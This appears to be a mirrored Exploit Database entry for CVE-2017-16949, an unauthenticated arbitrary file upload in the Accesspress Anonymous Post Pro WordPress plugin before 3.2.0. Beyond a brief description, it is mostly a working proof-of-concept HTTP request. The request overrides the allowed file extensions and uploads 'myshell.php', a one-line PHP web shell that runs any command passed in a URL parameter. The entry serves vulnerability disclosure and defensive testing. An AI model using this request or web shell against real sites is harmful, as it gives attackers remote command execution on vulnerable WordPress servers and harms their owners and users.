Accesspress Anonymous Post Pro < 3.2.0 - Arbitrary File Upload

• Exploit Database
• 21 阅读

• 作者： Colette Chamberland
  日期： 2017-12-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43324/

• # Exploit Title: Unauthenticated Arbitrary File Upload
  # Date: November 12, 2017
  # Exploit Author: Colette Chamberland 
  # Author contact: colette@defiant.com
  # Author homepage: https://defiant.com
  # Vendor Homepage: https://accesspressthemes.com/
  # Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446
  # Version:< 3.2.0
  # Tested on: WordPress 4.x
  # CVE : CVE-2017-16949
  
  
  Description:
  Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows
  the attacker to upload anything they want, bypassing the filters.
   
  PoC:
  
  POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1
  Host:server
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792
  Content-Length: 264
  Referer: http://target.com/
  Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; 
  Connection: close
  Upgrade-Insecure-Requests: 1
  
  -----------------------------7230359611602921801124357792
  Content-Disposition: form-data; name="qqfile"; filename="myshell.php"
  Content-Type: text/php
  
  <?php echo shell_exec($_GET['e'].' 2>&1'); ?>
  
  -----------------------------7230359611602921801124357792--